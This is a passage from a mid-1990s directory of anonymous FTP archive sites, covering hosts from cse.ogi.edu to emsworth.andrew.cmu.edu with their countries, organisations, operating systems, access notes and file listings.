+System : Unix +URL : ftp://cse.ogi.edu/ +Comment: +Files : archives: neuro-evolution mailing list, speech recognition; chifoo; + chorus (reports, slides); hosts; Kerberos; Mush; ogipvm; pacsoft; + pnl; revelation; speech; tech-reports; tiny trpl + +Site : csi.jpl.nasa.gov +Country: USA +GMT : -8 +Date : 23-May-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : NASA - Jet Propulsion Laboratory, Pasadena, California +Server : +System : Unix +URL : ftp://csi.jpl.nasa.gov/ +Comment: +Files : apl; gated; imos; jpl; lscl; math; mathlab; owin; rtc; SNMP; TCL; + Zen and the Art of the Internet (PS) + +Site : csl.sri.com +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : csla.csl.sri.com +Admin : +Organ : SRI International +Server : +System : +URL : ftp://csl.sri.com/ +Comment: Problem: I/O error on network device; try roche.csl.sri.com instead +Files : Handhelds + +Site : csli.stanford.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California, Center for the Study of + Language and Information (CSLI) +Server : +System : Unix (SunOS 4.1) +URL : ftp://csli.stanford.edu/ +Comment: please avoid using during local business hours (8am to 5pm Pacific); + transfers are logged with host name and e-mail address +Files : Archimedes; bibliography; ChineseTalk; Gandalf; linguistics; MacCup; + PrePrints; prosit; publications; shreview; TeX + +Site : cspo.queensu.ca +Country: Canada +GMT : -5 +Source : burger@cspo.queensu.ca (Bob Burge) +Alias : +Admin : postmaster@cspo.queensu.ca +Organ : Queen's University, Kingston, Ontario, Centre for the Study + of Public Opinion (CSPO), Association for Public Policy Analysis + and Management (APPAM) +Server : gopher://cspo.queensu.ca:7070/ +System : Unix (SunOS 5.3, SPARCstation 20) +URL : ftp://cspo.queensu.ca/ +Comment: +Files : The CSPO anon-ftp server includes conference papers for the + Association for Public Policy and Management (APPAM). An index + of files is kept on the APPAM Gopher + +Site : csrc.ncsl.nist.gov +Country: USA +GMT : -5 +Date : 22-May-94 +Source : +Alias : +Admin : root@csrc.ncsl.nist.gov +Organ : National Institute for Standards and Technology, Gaithersburg, + Maryland, Computer Security (NCSL) +Server : +System : Unix +URL : ftp://csrc.ncsl.nist.gov/ +Comment: +Files : computer-security related alerts, articles and other information; + FIRST; NISTbulletin; NISTgen; NISTir; NISTnews; NISTpubs; Posix; + privacy; risk forum; secalert; secnews; secpolicy; secpubs; + training; virinfo; virreviews; virus-l; warning + +Site : csri.toronto.edu +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : dixon.csri.toronto.edu +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : +URL : ftp://csri.toronto.edu/ +Comment: gives info that your machine lacks an address-to-name map when it + can't map your network address to a hostname +Files : + +Site : csus.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : archives@csus.edu +Organ : California State University - Sacremento, Sacramento, California +Server : +System : +URL : ftp://csus.edu/ +Comment: +Files : Banyan; NeXT; vectrex + +Site : csuvax1.csu.murdoch.edu.au +Country: Australia +GMT : +8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Murdoch University +Server : +System : VAX/VMS +URL : ftp://csuvax1.csu.murdoch.edu.au/ +Comment: +Files : Amiga; Elm docs; Inet resources + +Site : csvax.cs.caltech.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : VAX/VMS +URL : ftp://csvax.cs.caltech.edu/ +Comment: Open 24 hours; transfers are logged +Files : p2c; M88K; tech. reports + +Site : csvax1.ucc.ie +Country: Ireland +GMT : 0 +Date : 25-Jan-95 +Source : stuking@eku.acs.eku.edu (Steven C. King) {posting} +Alias : +Admin : ftpmanager@csvax1.ucc.ie +Organ : University College, Cork, CS dept. +Server : +System : VAX/VMS running MultiNet +URL : ftp://csvax1.ucc.ie/ +Comment: default directory: DISK3:[ANONYMOUS] +Files : abakus; VMS (incl. intercom, mx) + +Site : ctron.com +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : gatekeeper +Admin : +Organ : Cabletron Systems +Server : +System : +URL : ftp://ctron.com/ +Comment: uploaded files cannot be downloaded +Files : atm; Banyan; demo apps; DNI drivers: apple, ethernet, fddi, + token ring, unix; flash images; Product info; SNMP; terminal + servers + +Site : cuinfo.netserv.chula.ac.th +Country: Thailand +GMT : +7 +Date : 14-Dec-94 +Source : ftp.cica.indiana.edu +Alias : enterprise.netserv.chula.ac.th +Admin : +Organ : CHULA, Bangkok +Server : +System : Unix (System V Release 4.0) +URL : ftp://cuinfo.netserv.chula.ac.th/ +Comment: Problem: user anonymous unknown [needs to be rechecked at another + time] +Files : Windows (ftp.cica.indiana.edu mirror) + +Site : cujo.curtin.edu.au +Country: Australia +GMT : +8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Curtin University +Server : +System : Unix (SunOS 4.1) +URL : ftp://cujo.curtin.edu.au/ +Comment: +Files : + +Site : cumulus.met.ed.ac.uk +Country: UK +GMT : 0 +Date : 25-Jul-94 +Source : ftp.uva.nl +Alias : cumulus.met.edinburgh.ac.uk +Admin : root@met.ed.ac.uk +Organ : University of Edinburgh, Edinburgh, Metereology dept. +Server : +System : Unix +URL : ftp://cumulus.met.ed.ac.uk/ +Comment: max. 15 users; mirrored on ftp.uva.nl +Files : Computer Aided Learning in Metereology software; Meteosat3 and + Meteosat4 images + +Site : cutl.city.unisa.edu.au +Country: Australia +GMT : +10 +Date : 30-Oct-94 +Source : deraad@cutl.city.unisa.edu.au (Mark de Raad) {posting} +Alias : +Admin : Mark.deRaad@unisa.edu.au +Organ : University of Southern Australia, , , CUTL +Server : +System : Unix +URL : ftp://cutl.city.unisa.edu.au/ +Comment: transfers are logged; +Files : Mac; MS-DOS; multimedia; Windows + +Site : cyberzine.org +Country: USA +GMT : -8 +Date : 24-Jan-95 +Source : tomh@cyberzine.org (Tom Hicks) +Alias : +Admin : ftp@cyberzine.org +Organ : CyberZine +Server : e-mail, gopher and WWW +System : Unix (NeXTStep, NeXT) +URL : http://cyberzine.org/ +Comment: +Files : Contents refer to works in progress on the WWW at several locations + on this machine: Entrepeneur, ENET, CyberQueer Lounge + +Site : cyfer.esusda.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : ace.esusda.gov, ra.esusda.gov +Admin : almanac-admin@ra.esusda.gov +Organ : Extension Service US Dept. of Agriculture (ESUSDA), + National Agriculture Library +Server : +System : Unix +URL : ftp://cyfer.esusda.gov/ +Comment: more Whitehouse info on sunsite.unc.edu +Files : ACE; data; Whitehouse info (/pub/data/ace) + +Site : danann.hea.ie +Country: Ireland +GMT : 0 +Date : 29-Sep-94 +Source : hfkg1@fel.tno.nl (Hans F. Klok) {posting} +Alias : +Admin : archive-admin@danann.hea.ie +Organ : Irish National Archive +Server : gopher, www +System : Unix (DEC Alpha 3000/4000 AXP) +URL : ftp://danann.hea.ie/ +Comment: max. 5 users [what other mirrors?] +Files : docs; gopher (boombox.micro.umn.edu); Linux (mirror); Mac; mirrors; + MS-DOS; Tolkien pictures; Tools; Windows (ftp.cica.indiana.edu); WWW + +Site : dartcms1.dartmouth.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Dartmouth College +Server : +System : VM/CMS +URL : ftp://dartcms1.dartmouth.edu/ +Comment: +Files : + +Site : darwin.cc.nd.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : comics/faq/part5 +Alias : +Admin : +Organ : Notre Dame University +Server : +System : Unix +URL : ftp://darwin.cc.nd.edu/ +Comment: +Files : comics (X-Men, see the rec.arts.comics FAQ for details); gopher; + NAFTA; NeXT; PC; Soviet archive; Unix + +Site : das.harvard.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : endor +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : Unix (SunOS 4.1) +URL : ftp://das.harvard.edu/ +Comment: +Files : comp.mh; ddl; dimock; egypt-net; ids; ICN; magtb; nets; onlisp; + saber; security; sendmail (config files); VMS + +Site : death.socs.uts.edu.au +Country: Australia +GMT : +10 +Date : 16-Jul-94 +Source : pratchett-faq +Alias : lucy.socs.uts.edu.au +Admin : support@socs.uts.edu.au +Organ : University of Technology, Sydney, School of Computer Sciences +Server : +System : Unix +URL : ftp://death.socs.uts.edu.au/ +Comment: This sytem is currently under construction. Watch for falling files +Files : Eiffel; graph; henderson-sellers; intsys; jay; list-archives; + mirrors: cert-advisories, JCUMetSat, LocalStudentStuff, Mosaic, + Pratchett, sert-advisories, Sun-dist; news; Parallel; perriko; pix; + xputer (Parallel) + +Site : debra.dbgt.doc.ca +Country: Canada +GMT : -5 +Date : 04-Feb-94 +Source : andrew@calvin.dgbt.doc.ca (Andrew Patrick) +Alias : +Admin : +Organ : DOC, DGBT, DEBRA +Server : http://debra.dbgt.doc.ca/cbc/cbc.html; gopher: debra.dbgt.doc.ca +System : Unix +URL : ftp://debra.dbgt.doc.ca/ +Comment: CBC Radio Trial; WWW access using the NCSA Mosaic Client is + preferred +Files : Canadian Broadcasting Corporation (CBC) radio programs stored as + 8-bit, 8KHz .AU files; chat; IRC; dvi; freenet; ISC; opengov; sox + sound conversion tool for .AU to .VOC, .WAV conversion for PC use; + usenet-survey + +Site : decoy.cc.uoregon.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : decoy.uoregon.edu +Admin : +Organ : University of Oregon, , Oregon +Server : +System : +URL : ftp://decoy.cc.uoregon.edu/ +Comment: +Files : VAX book; TeX Primer + +Site : decuac.dec.com +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Digital Equipment Corp - Maryland, , Maryland +Server : +System : Unix +URL : ftp://decuac.dec.com/ +Comment: +Files : binaries; bitmaps; DEC; DECUS; docs; DOS; DXRN/MXRN + (DECwindows/Motif implementations of xrn); MUD; sendmail-cf; + sources; X11 + +Site : dell1.us.dell.com +Country: USA +GMT : +Date : 29-Sep-94 +Source : harrisok@ccmail.us.dell.com (Kerry Harrison) {posting} +Alias : dell1.dell.com +Admin : hostmaster@us.dell.com [check the notice.. this should IMHO become + some other name pretty fast. hostmasters are mostly too busy for + this stuff] +Organ : Dell Computer Corporation +Server : +System : Unix +URL : ftp://dell1.us.dell.com/ +Comment: +Files : Dell BBS; Dell product info, drivers etc.; SGI + +Site : deimos.caltech.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : VAX/VMS running Multinet +URL : ftp://deimos.caltech.edu/ +Comment: default directory: MNT:[ANONYMOUS] +Files : AY101; PAL; PGPLOT; Very Long Baseline Interferometry; VMS + +Site : deins.informatik.uni-dortmund.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : rv@informatik.uni-dortmund.de (Ruediger Volk), + pmk@deins.informatik.uni-dortmund.de (Peter Koch) +Organ : Universitaet Dortmund (University of Dortmund), Dortmund, CS dept. +Server : +System : +URL : ftp://deins.informatik.uni-dortmund.de/ +Comment: +Files : + +Site : deja-vu.aiss.uiuc.edu +Country: USA +GMT : -6 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : +URL : ftp://deja-vu.aiss.uiuc.edu/ +Comment: directory /pub is empty, maybe something in /stuff +Files : + +Site : delcano.mit.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : old ftp-list; chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : pds-request@space.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts + MIT Center for Space Research +Server : pds-listserv@space.mit.edu, with Subject or text line of "help" +System : Unix +URL : ftp://delcano.mit.edu/ +Comment: Use 6pm-8am please +Files : NASA Planetary Data Systems Microwave Subnode; Planetary Radar + and Radio data, mostly Venus data from Pioneer 12, Venera 15/16, + and Magellan missions (/mgn, /pub, /pv, /venera) + + +Site : delphi.beckman.uiuc.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois, + Beckman Visualization Facility +Server : +System : Unix +URL : ftp://delphi.beckman.uiuc.edu/ +Comment: ports of SGI GL libraries and applications for IBM AIX 3.2, OpenGL + material for both IBM and SGI platforms, Microscopy and volume + visualization tools for both IBM and SGI platforms +Files : IBM AIX 3.2: FORMS library port, patches for KHOROS, TFM Fontmanager + Library; mailing-lists; MPEG; TFM; vizlab + +Site : dendrite.hut.fi +Country: Finland +GMT : +2 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : Unix +URL : ftp://dendrite.hut.fi/ +Comment: directory: /pub/ref +Files : reference list of articles about PCA + +Site : dewdrop.water.ca.gov +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : slouken@dewdrop.water.ca.gov (Sam Oscar Lantinga) {posting} +Alias : +Admin : slouken@dewdrop.water.ca.gov +Organ : +Server : +System : Unix +URL : ftp://dewdrop.water.ca.gov/ +Comment: if you want to transfer large amounts of files of the ftp.wustl.edu + mirror do so from the site itself, not from this mirror +Files : Doom; images [empty]; Linux; mirror of ftp.wustl.edu via NFS [seems + empty]; MS-DOS (fat, heretic, slipdial, xwindemo); RFCs; wsh + +Site : dewey.lib.ncsu.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : North Carolina State University, Raleigh, North Carolina, Library +Server : +System : Unix (Ultrix 4.1) +URL : ftp://dewey.lib.ncsu.edu/ +Comment: +Files : libraries; software; stacks; tiff + +Site : dftnic.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : old ftp-list +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, + Computer Network Branch (CNB) of the Center Networking + Environment (CNE) +Server : +System : VAX/VMS running Multinet +URL : ftp://dftnic.gsfc.nasa.gov/ +Comment: default directory: DISK$MOE:[ANONYMOUS.FILES]; indexes in + AAAREADME.TXT files +Files : ALEX; GSFC info; images; MacSecure; maps; netinfo; NREN info; + protocols; RFCs; security; VNEWS VMS newsreader; VMS software + +Site : dg-rtp.dg.com +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : nadm@dg-rtp.dg.com (or 919-248-6034 in the US) +Organ : Data General, , , RTP Network Services +Server : +System : DG/UX TCP/IP 5.4.1 +URL : ftp://dg-rtp.dg.com/ +Comment: local README files with contact persons for specific areas; + working directory: /usr/ftp; user anonymous=user ftp +Files : GDB; DG version of GNU C for 88K + +Site : dimacs.rutgers.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : old ftp-list +Alias : +Admin : help@dimacs.rutgers.edu +Organ : Rutgers University, Piscataway, New Jersey, DIMACS (Center for + Discrete Mathematics and Theoretical Computer Science) +Server : +System : Unix +URL : ftp://dimacs.rutgers.edu/ +Comment: valid e-mailaddress required; transfers are logged +Files : challenge; challenge3; dimacs; dpz; dsj; gap; IETF; netflow; nn 6.4; + perfect; rkbp; workshop + +Site : dime.cs.umass.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of Massachusetts - Amherst, Amherst, Massachusetts, + CS dept. +Server : +System : Unix +URL : ftp://dime.cs.umass.edu/ +Comment: +Files : docs; eksl; gbb; mckinley; ml93; nlp; opis; patches; rcf; + tech-reports + +Site : dino.conicit.ve +Country: Venezuela +GMT : -7 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Conicit +Server : +System : Unix (SunOS 4.1) +URL : ftp://dino.conicit.ve/ +Comment: +Files : docs; Mac; MS-DOS; protocols; RFCs; supernet; Unix + +Site : dirt.cisco.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Cisco Systems +Server : +System : +URL : ftp://dirt.cisco.com/ +Comment: this site does not allow access from sites of which the host + address cannot be resolved back into a hostname, nice to + check if your own domain name servers are correctly configured + or if there's an error in the DNS NIC database for your site: + in-addr.arpa PTR resource record does not exist +Files : Mac Telnet w/SLIP + +Site : dkuug.dk +Country: Denmark +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Danish Unix User Group (DKUUG) +Server : +System : Unix (SunOS 4.1) +URL : ftp://dkuug.dk/ +Comment: +Files : + +Site : dla.ucop.edu +Country: USA +GMT : -5 +Date : 17-Feb-94 +Source : elane3@ua1vm.ua.edu (Elizabeth Lane Lawley); Perry.Rovers@kub.nl +Alias : stubbs.ucop.edu +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://dla.ucop.edu/ +Comment: +Files : DLA; docs; etom; Farley Guide (library catalog); fetch; internet; + irl; netfax + +Site : dmc.com +Country: USA +GMT : -5 +Date : 17-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : hulk.dmc.com +Admin : postmaster@dmc.com +Organ : DMC +Server : +System : VAX/VMS running Multinet +URL : ftp://dmc.com/ +Comment: due to a bug in Multinet's FTP, at login time you will be in: + UUCP_PUBLIC:[ANONYMOUS]. You must explicitly move yourself to + UUCP_PUBLIC:[000000] and then navigate within that directory tree.; + If you want to submit, login as user incoming. +Files : acorn; alt; answers; decuserve; deculib; dynafeed; fs UUCP; GNU; + networking; starport; vmsnet; wellspring; woeful; + +Site : dmssyd.syd.dms.csiro.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Commonwealth Scientific & Industrial Research Organization, Sydney, + Division of Mathematics and Statistics +Server : +System : +URL : ftp://dmssyd.syd.dms.csiro.au/ +Comment: the files in the STATLIB directory are a partial mirror from + StatLib. Users from North American and European sites should + get better response time from the master at lib.stat.cmu.edu + and login as 'statlib' (no quotes) +Files : statlib + +Site : donau.et.tudelft.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : morra.et.tudelft.nl +Admin : +Organ : Technische Universiteit Delft (Delft University of Technology), + Delft, EE dept. +Server : +System : Unix +URL : ftp://donau.et.tudelft.nl/ +Comment: +Files : bible; emacs; emacs-lisp; GIFs; gps; humor; IRC; ocean; olohof; + papers; prince; recipes; watergate (BBS util); words (dictionary) + +Site : dpls.dacc.wisc.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, Engineering dept. +Server : +System : Unix (NeXT 1.0, NeXTStep) +URL : ftp://dpls.dacc.wisc.edu/ +Comment: graphics files moved to from castlab.engr.wisc.edu +Files : dpls (gopher, hbook, iassist, norc, tech-partners); graphics + (animations, images, mcm, utilities, x3d, xdart); ICPSR + +Site : dra.com +Country: USA +GMT : +Date : 23-May-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : VAX/VMS running Multinet +URL : ftp://dra.com/ +Comment: default directory: PUB$DISK:[ANONYMOUS] +Files : catalog coverage; lc cataloging + +Site : draci.cs.uow.edu.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia, , CS dept. +Server : +System : Unix (System V Release 4.0) +URL : ftp://draci.cs.uow.edu.au/ +Comment: +Files : + +Site : dri.cornell.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : wheat.tc.cornell.edu +Admin : +Organ : Cornell University, Ithaca, New York, Theory Center (TC) +Server : +System : Unix (SunOS 4.1) +URL : ftp://dri.cornell.edu/ +Comment: +Files : IEEE; LARC; NLSR (Natural Language Software Registry); Servicemail; + WAIS; workshop + +Site : drycas.club.cc.cmu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : jae@drycas.club.cc.cmu.edu +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + Drycas Computer Club +Server : +System : VAX/VMS running Multinet +URL : ftp://drycas.club.cc.cmu.edu/ +Comment: default directory: USR:[ANONYMOUS] + this club also gives out public access Internet/BITNET + accounts, contact accounts@drycas.club.cc.cmu.edu for info +Files : JAE (awakening, b13, caves, chill, ravenscar, star wars); pagan; + QT (misc. text files and executables: client-server faq, + computer acronyms, ms-parody, overclocking, sportscards, ssn faq, + st-bloopers; xyzzy + +Site : dsinc.dsi.com +Country: USA +GMT : -5 +Date : 22-May-94 +Source : ftp.univ-lyon1.fr +Alias : +Admin : +Organ : DSI +Server : +System : Unix +URL : ftp://dsinc.dsi.com/ +Comment: beta test versions of Elm found here, are not supported. Questions + will be ignored; please try to keep access to this archive to + outside 09:00 to 17:00 ET +Files : Elm + +Site : duck.dfki.uni-sb.de +Country: Germany +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : monroe; +Admin : scheidhr@dkfi.uni-sb.de, mehl@dkfi.uni-sb.de +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken, DFKI, Programming Systems Lab. +Server : +System : Unix +URL : ftp://duck.dfki.uni-sb.de/ +Comment: several index files: INDEX, NEW-LAST-MONTH, NEW-LAST-WEEK, + NEW-THIS-MONTH, NEW-THIS-WEEK, NEW-TODAY +Files : ccl; drafts; lp-proceedings; oz; papers; tel; TeX + +Site : duke.cs.duke.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Duke University, Durham, North Carolina +Server : +System : Unix (SunOS 4.1) +URL : ftp://duke.cs.duke.edu/ +Comment: +Files : compress; gnuplot + +Site : dumccss.mc.duke.edu +Country: USA +GMT : -5 +Date : 16-Jul-94 +Source : admin +Alias : +Admin : +Organ : Duke University, Durham, North Carolina, Medical College +Server : +System : Unix +URL : ftp://dumccss.mc.duke.edu/ +Comment: +Files : Sun-patches + +Site : e-math.ams.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : +Organ : AMS +Server : +System : Unix (Ultrix 4.1) +URL : ftp://e-math.ams.com/ +Comment: +Files : AMS; cdtex; ferman; imp; mathrev + +Site : earn.cvut.cz +Country: Czech Republic +GMT : +1 +Date : 15-Dec-94 +Source : dlist@ora.com +Alias : +Admin : +Organ : European Academic and Research Network (EARN) Czech Republic/Czech + Technical University (CVUT), Prague +Server : +System : VM/CMS +URL : ftp://earn.cvut.cz/ +Comment: default none, use: cd ANONYMOUS; [seems empty but I don't know how + to get a list of minidisks] +Files : + +Site : earth.med.ohio-state.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Ohio State University, , Ohio, Faculty of Medicine +Server : +System : Unix (SunOS 4.1) +URL : ftp://earth.med.ohio-state.edu/ +Comment: +Files : BBX; BURL; clx; GAIT; IEEE-Soar-code; red test cases; Soar6-Mac + +Site : ecf.hq.eso.org +Country: Germany +GMT : +1 +Date : 23-Aug-94 +Source : ftp.hq.eso.org; admin +Alias : ns3.hq.eso.org +Admin : ftp-admin@eso.org +Organ : European Southern Observatory (ESO), Garching, ST-ECF +Server : +System : Unix +URL : ftp://ecf.hq.eso.org/ +Comment: Open 24 hours; transfers are logged +Files : cycle4; cycle5; doc; email; Hubble Space Telescope information; + images; ISO; ISU; Mac; Newsletter; obs-proposals; QQQ; security; + Shoemaker-Levey 9 (SL9) bulletins, images; standards; Star Catalogs + (Starcat); star-formation; swlib; texts; texts; UN; WAIS; wref; WWW + +Site : ecsdg.lu.se +Country: Sweden +GMT : +1 +Date : 29-Sep-94 +Source : johan@ecsdg.lu.se (Johan Svensson) {posting} +Alias : spird.lu.se +Admin : +Organ : Lund University, Lund, EkonomiCentrum Software Development Group +Server : WWW: ecsdg.lu.se +System : Unix +URL : ftp://ecsdg.lu.se/ +Comment: +Files : demos; GNU; Mac; mail; Mosaic-swe; MS-Windows; news; Novell: + Adminlog, Secure-Design (QViewPro); standards; Unix + +Site : ecuac.net.ec +Country: Ecuador +GMT : -7 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : EcuaNet +Server : +System : Unix +URL : ftp://ecuac.net.ec/ +Comment: +Files : btld + +Site : ecnet.ec +Country: Ecuador +GMT : -7 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : q.ecua.net.ec +Admin : +Organ : EcuaNet +Server : +System : Unix +URL : ftp://ecnet.ec/ +Comment: +Files : docs-ecu; docs-ext; EcuaNet; Mac; MicroSoft; NUPOP; pacificio; + software [?]; whois + +Site : eddie.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : root@eddie.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : +URL : ftp://eddie.mit.edu/ +Comment: New files in README.NEW-EDDIE, README.prospero +Files : prospero + +Site : edna.cc.swin.edu.au +Country: Australia +GMT : +10 +Date : 25-Jan-94 +Source : +Alias : +Admin : admin@swin.edu.au +Organ : +Server : gopher +System : Unix +URL : ftp://edna.cc.swin.edu.au/ +Comment: +Files : CTAC95; CWIS; docs; EDI; images; PC; Unix + +Site : ee.umr.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : franklin.ee.umr.edu +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://ee.umr.edu/ +Comment: some other loose files in /pub +Files : edifanat; email.etiquette.ps; mentor; mosis; Novell; tehping + +Site : eecs.nwu.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : zeta.eecs.nwu.edu +Admin : +Organ : North Western University +Server : +System : Unix (SunOS 4.1) +URL : ftp://eecs.nwu.edu/ +Comment: +Files : + +Site : eis.calstate.edu +Country: USA +GMT : -8 +Date : 01-Jun-94 +Source : nic.csu.net +Alias : +Admin : +Organ : California State Universities, , California, NIC +Server : +System : Unix (SunOS 4.1) +URL : ftp://eis.calstate.edu/ +Comment: [errantly put in the obsolete section in the 9405 release]; + Also available through gopher +Files : abc; all about logo; arts+tech; docs; faces; gina; gss; + howtoftp.txt; kn; Mac; MS-DOS; Unix + +Site : elbereth.rutgers.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : gandalf.rutgers.edu +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : +URL : ftp://elbereth.rutgers.edu/ +Comment: directory: sfl, get the 00Index file +Files : SF-lovers archive; lots of text files about tv series; + program guides; text files on a number of subjects; + FAQs related to SF (Bladerunner); info on SF awards and + writers (Hugo Awards, Adams, Asimov, and more) + +Site : elib.stanford.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix +URL : ftp://elib.stanford.edu/ +Comment: +Files : tech-reports + +Site : elroy.cs.iastate.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Iowa State University, , Iowa +Server : +System : +URL : ftp://elroy.cs.iastate.edu/ +Comment: +Files : mail servers + +Site : elsie.nci.nih.gov +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : U.S. National Institute of Health, , , NCI, ELSIE +Server : +System : Unix (SunOS 4.1) +URL : ftp://elsie.nci.nih.gov/ +Comment: +Files : + +Site : elvis.msk.su +Country: Russia +GMT : +2 +Date : 24-Jan-95 +Source : ftp.cnit.nsk.su +Alias : +Admin : +Organ : Elvis+ Ltd., Zelenograd, Zee-archive +Server : +System : Unix +URL : ftp://elvis.msk.su/ +Comment: (partially) mirrored on ftp.cnit.nsk.su; use a correct e-mailaddress +Files : antivir; Apple; arch; books; crypto; database; doc; DOS; editor; + FAQs; faxgate; games; GNU; images (24-bit, DrFun, animals, mpeg, + space, weather); infosystems; KA9Q; metamail; multimedia; network; + news; Relcom; RFCs; security; Sun; Unix; Usenet (alt, games, + mac, misc, ms-windows, pc, postscript, reviewed, unix, x); vendor + (ftp, microsoft: faq, tapi, winprog, wintech); windows; X11 + +Site : elvis.sccc.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : kdt@newton.npl.co.uk (Kingsley D Tart) {posting} +Alias : claudius +Admin : +Organ : SCCC +Server : +System : Windows NT (Windows NT, PC) +URL : ftp://elvis.sccc.ac.uk/ +Comment: use 'user' instead of 'anonymous', so not really an 'anonymous' + server, but the contents of the site are interesting enough +Files : CorelDraw (clipart, fonts, patches, utils); Internet (gsi386, + hgopher, hsi386, nntpnews, ntperl, serweb, wsi386); Linux (Slackware + A disks [probably old]) + +Site : emily.emba.uvm.edu +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://emily.emba.uvm.edu/ +Comment: +Files : 6300clock; CME; F-Prot; HPEM; IRIS; Kermit; SPAudit; Telecom + +Site : emsworth.andrew.cmu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, Andrew project +Server : +System : +URL : ftp://emsworth.andrew.cmu.edu/ +Comment: +Files : Andrew Toolkit + +Site : 